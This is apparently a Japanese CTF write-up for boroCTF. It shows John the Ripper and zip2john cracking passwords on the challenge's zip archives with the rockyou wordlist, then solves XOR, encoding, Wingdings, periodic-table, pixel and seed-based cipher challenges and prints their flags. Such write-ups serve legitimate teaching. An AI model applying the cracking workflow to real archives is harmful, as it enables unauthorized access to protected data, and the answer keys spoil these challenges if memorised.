$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 69 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sunchips (c_THE.zip/THE.log)
1g 0:00:00:00 DONE (2026-06-15 08:13) 1.538g/s 176443p/s 176443c/s 176443C/s Dominic1..022593
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
$ 7z x c_THE.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=ja_JP.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 267 bytes (1 KiB)
Extracting archive: c_THE.zip
--
Path = c_THE.zip
Type = zip
Physical Size = 267
Enter password (will not be echoed):
Everything is Ok
Size: 70
Compressed: 267
$ cat THE.log
[2026] INFO PLEASE MAKE BETTER PASSWORDS
[2026] SYSADMIN MESSAGE "NO"
$ zip2john d_RIPPER.zip > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 86 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:34 DONE (2026-06-15 08:17) 0g/s 151034p/s 151034c/s 151034C/s "chinor23"..*7¡Vamos!
Session completed.
これはパスワードが見つからない。ルールのオプションを付けて試す。
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 86 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chip! (d_RIPPER.zip/RIPPER.log)
1g 0:00:07:13 DONE (2026-06-15 08:38) 0.002308g/s 141043p/s 141043c/s 141043C/s romtelecom!..frumosul!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
パスワードが見つかった。
$ 7z x d_RIPPER.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=ja_JP.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 290 bytes (1 KiB)
Extracting archive: d_RIPPER.zip
--
Path = d_RIPPER.zip
Type = zip
Physical Size = 290
Enter password (will not be echoed):
Everything is Ok
Size: 86
Compressed: 290
$ cat RIPPER.log
[2026] ALL PASSWORDS HAVE BEEN BREACHED
[2026] SYSADMIN MESSAGE "boroCTF{L@_R11pP3r;}
boroCTF{L@_R11pP3r;}
Not the Flag (Crypto 100)
鍵長1のXOR暗号と推測し、フラグが"b"から始まることを前提に復号する。
>>> enc = [0x9d, 0x90, 0x8d, 0x90, 0xbc, 0xab, 0xb9, 0x84, 0x8b, 0x97, 0xce, 0xdb, 0xa0, 0x96, 0x8c, 0xa0, 0x91, 0xcf, 0x8b, 0xa0, 0x91, 0x90, 0x8b, 0xa0, 0x8b, 0x97, 0xcc, 0xa0, 0x99, 0x93, 0xbf, 0x98, 0x82]
>>> key = enc[0] ^ ord('b')
>>> ''.join([chr(c ^ key) for c in enc])
'boroCTF{th1$_is_n0t_not_th3_fl@g}'
boroCTF{th1$_is_n0t_not_th3_fl@g}
Flipper's Dilemma (Crypto 100)
問題文にもある0x15とXORしてみる。
>>> s = 'wzgzVASnS4|eE${J%`>h'
>>> ''.join([chr(ord(c) ^ 0x15) for c in s])
'boroCTF{F!ipP1n_0u+}'
boroCTF{F!ipP1n_0u+}
So Many Layers (Crypto 100)
CyberChefで以下の順でデコードする。
- From Binary
- From Hex
- From Base64
boroCTF{L!k3_aN_0n1on^}
Flight (Crypto 100)
問題文はこうなっている。
dark, darker, yet darker.
♌︎□︎❒︎□︎👍︎❄︎☞︎❀︎⬥︎✋︎■︎♑︎📂︎■︎🕯︎♉︎✏︎⧫︎❝︎
「♌︎□︎❒︎□︎」で検索すると、 Wingdingsのことが出てくる。
https://ja.wikipedia.org/wiki/Wingdingsを見て対応するASCIIコードを文字にデコードする。
>>> chr(0x62)
'b'
>>> chr(0x6f)
'o'
>>> chr(0x72)
'r'
>>> chr(0x43)
'C'
>>> chr(0x54)
'T'
>>> chr(0x46)
'F'
>>> chr(0x7b)
'{'
>>> chr(0x77)
'w'
>>> chr(0x49)
'I'
>>> chr(0x6e)
'n'
>>> chr(0x67)
'g'
>>> chr(0x31)
'1'
>>> chr(0x27)
"'"
>>> chr(0x5f)
'_'
>>> chr(0x21)
'!'
>>> chr(0x74)
't'
>>> chr(0x7d)
'}'
boroCTF{wIng1n'_!t}
Anatomically Incorrect (Crypto 200)
電子配置が並んでいる。1s, 2s, 2p, 3s, 3p, 4s, 3d, 4p, 5s, 4d, 5p, 6s, ... という順番が決まっていることから区切りで改行する。
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p4
1s2 2s2 2p6 3s2 3p6
1s2 2s2 2p6 3s2 3p6 4s2 3d3
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d2
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f13
1s2 2s2 2p6 3s2 3p4
1s2 2s2
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f14 6d9
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f14 6d10 7p3
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6
先頭2文字を除いた数値を合計する。
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p4'.split(' ')
>>> sum([int(c[2:]) for c in s])
34
>>> s = '1s2 2s2 2p6 3s2 3p6'.split(' ')
>>> sum([int(c[2:]) for c in s])
18
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d3'.split(' ')
>>> sum([int(c[2:]) for c in s])
23
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d2'.split(' ')
>>> sum([int(c[2:]) for c in s])
40
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f13'.split(' ')
>>> sum([int(c[2:]) for c in s])
101
>>> s = '1s2 2s2 2p6 3s2 3p4'.split(' ')
>>> sum([int(c[2:]) for c in s])
16
>>> s = '1s2 2s2'.split(' ')
>>> sum([int(c[2:]) for c in s])
4
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f14 6d9'.split(' ')
>>> sum([int(c[2:]) for c in s])
111
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f14 6d10 7p3'.split(' ')
>>> sum([int(c[2:]) for c in s])
115
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6'.split(' ')
>>> sum([int(c[2:]) for c in s])
54添付の周期表で各インデックスのアルファベットを見ていく。
34 -> I
18 -> F
23 -> Oo
40 -> N
101 -> Ed
16 -> Ht
4 -> E
111 -> Fl
115 -> Ag
54 -> S
boroCTF{IFOoNEdHtEFlAgS}
Disco (Crypto 200)
各色のRGB値をASCIIコードとしてデコードする。
from PIL import Image
img = Image.open('dance.png').convert('RGB')
w, h = img.size
flag = []
for y in range(0, h, 100):
for x in range(0, w, 100):
r, g, b = img.getpixel((x, y))
flag += [r, g, b]
flag = bytes(flag)
flag = flag[:flag.find(b'}') + 1].decode()
print(flag)
boroCTF{nEv3r_l0$e_YoU4_Be@t}
Babel's Vault (Crypto 300)
あるseedのときにAUTHORSNOTE.txtの内容で出力されると思われる。これを次のアルファベットを使って、55進数として解釈すれば、seedをもろめることができる。
ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz., "
あとはいろいろ試行錯誤した結果、image_from_seedの結果のRGB値は1桁の値になっていることがわかる。RGBを3桁の数値として考え、AUTHORSNOTE.txtの 0-index 位置として文字を抜き出す。
from Crypto.Util.number import *
ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz., "
def image_from_seed(seed: int):
seed -= 3544280111473730708053245299989391042767576758035584864941532983135054385557471251704821961386898312952351964196705929826341249470519527773307760368822866900966805815753783068278548889349543836665523403111718186997472794240513576677869825688599823331092898287899996264278269354262097367564267677985828908400500707121377219995176583385300541638295354464311206278755010401435473144570173464172412737197483163126708640611111755946517658691304892609064813042342902954285745650501185977562418697449354739194065674403430633124423296499205604238088150946292640221318345446017156426656091977240638980387148703351277645718842961379999132951403363512627382489422678491488260403398014102112968841831936470901996301563503272667081474922124353314684967385101874673580717751673824894005780231341138701194842806792826036185271997590257184157891029079248272716184428615345223572737800771414583827486604012918447453378619139203425502567588311766937531579471783883776921510463902447459192002903668439339367698561804477554118223057356090123647104536282589308133717504102614630566883587793581106113480594140252677079605252667084920586048774567258627948087729764085140275916850838797734645018228017677186615682342298879202024669682833247709455595753390238081225529423581678612691506078696488969557625809042278231192266386181580425562138375768960369481077336572739704208027288671754433737184214354385513799418186944719726773638087678099468872606008140456207755545554080863739477466519505964638306396494029183622376705088300283305471170800631112469233319212179598413217953065812070331861550944186174772676827842831404140855872702484641500200252525965833210739
pixels = []
for _ in range(225):
seed, r = divmod(seed, 256)
seed, g = divmod(seed, 256)
seed, b = divmod(seed, 256)
pixels.append((r, g, b))
return pixels
with open("AUTHORSNOTE.txt", "r") as f:
page = f.read().rstrip()
seed = 0
for c in page[::-1]:
seed *= 55
seed += ALPHABET.index(c)
seed -= 3544280111473730708053245299989391042767576758035584864941532983135054385557471251704821961386898312952351964196705929826341249470519527773307760368822866900966805815753783068278548889349543836665523403111718186997472794240513576677869825688599823331092898287899996264278269354262097367564267677985828908400500707121377219995176583385300541638295354464311206278755010401435473144570173464172412737197483163126708640611111755946517658691304892609064813042342902954285745650501185977562418697449354739194065674403430633124423296499205604238088150946292640221318345446017156426656091977240638980387148703351277645718842961379999132951403363512627382489422678491488260403398014102112968841831936470901996301563503272667081474922124353314684967385101874673580717751673824894005780231341138701194842806792826036185271997590257184157891029079248272716184428615345223572737800771414583827486604012918447453378619139203425502567588311766937531579471783883776921510463902447459192002903668439339367698561804477554118223057356090123647104536282589308133717504102614630566883587793581106113480594140252677079605252667084920586048774567258627948087729764085140275916850838797734645018228017677186615682342298879202024669682833247709455595753390238081225529423581678612691506078696488969557625809042278231192266386181580425562138375768960369481077336572739704208027288671754433737184214354385513799418186944719726773638087678099468872606008140456207755545554080863739477466519505964638306396494029183622376705088300283305471170800631112469233319212179598413217953065812070331861550944186174772676827842831404140855872702484641500200252525965833210740
image = image_from_seed(seed)
msg = ''
for i in range(len(image)):
index = ''
for j in range(3):
index += str(image[i][j])
msg += page[int(index)]
print(msg)
実行結果は以下の通り。
boroCTFoneSeedCipherInInfinityTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
後ろの"T"の文字は無視して、整形してフラグの形式にする。
boroCTF{oneSeedCipherInInfinity}